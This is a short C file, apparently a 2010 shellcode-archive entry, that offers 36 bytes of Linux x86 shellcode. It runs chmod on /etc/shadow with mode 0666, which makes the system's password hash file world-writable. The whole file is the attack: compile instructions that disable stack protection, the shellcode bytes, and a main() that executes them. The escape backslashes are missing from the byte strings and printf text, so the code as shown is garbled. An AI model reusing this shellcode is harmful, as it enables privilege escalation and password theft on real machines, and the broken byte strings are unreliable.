#include <stdio.h>
#include <string.h>

/*
by Magnefikko
14.04.2010
magnefikko@gmail.com
promhyl.oz.pl
Subgroup: #PRekambr
Name: 36 bytes chmod("/etc/shadow", 0666) shellcode
Platform: Linux x86

chmod("/etc/shadow", 0666);
gcc -Wl,-z,execstack filename.c

shellcode:

xebx12x5bx31xc0x31xc9x31xd2xb1xb6xb5x01xb0x0fx89x53x0bxcdx80xe8xe9xffxffxffx2fx65x74x63x2fx73x68x61x64x6fx77

*/


int main(){
char shell[] =
"xebx12x5bx31xc0x31xc9x31xd2xb1xb6xb5x01xb0x0fx89x53x0bxcdx80xe8xe9xffxffxffx2fx65x74x63x2fx73x68x61x64x6fx77";
printf("by Magnefikkonmagnefikko@gmail.comnpromhyl.oz.plnnstrlen(shell)
= %dn", strlen(shell));
(*(void (*)()) shell)();
}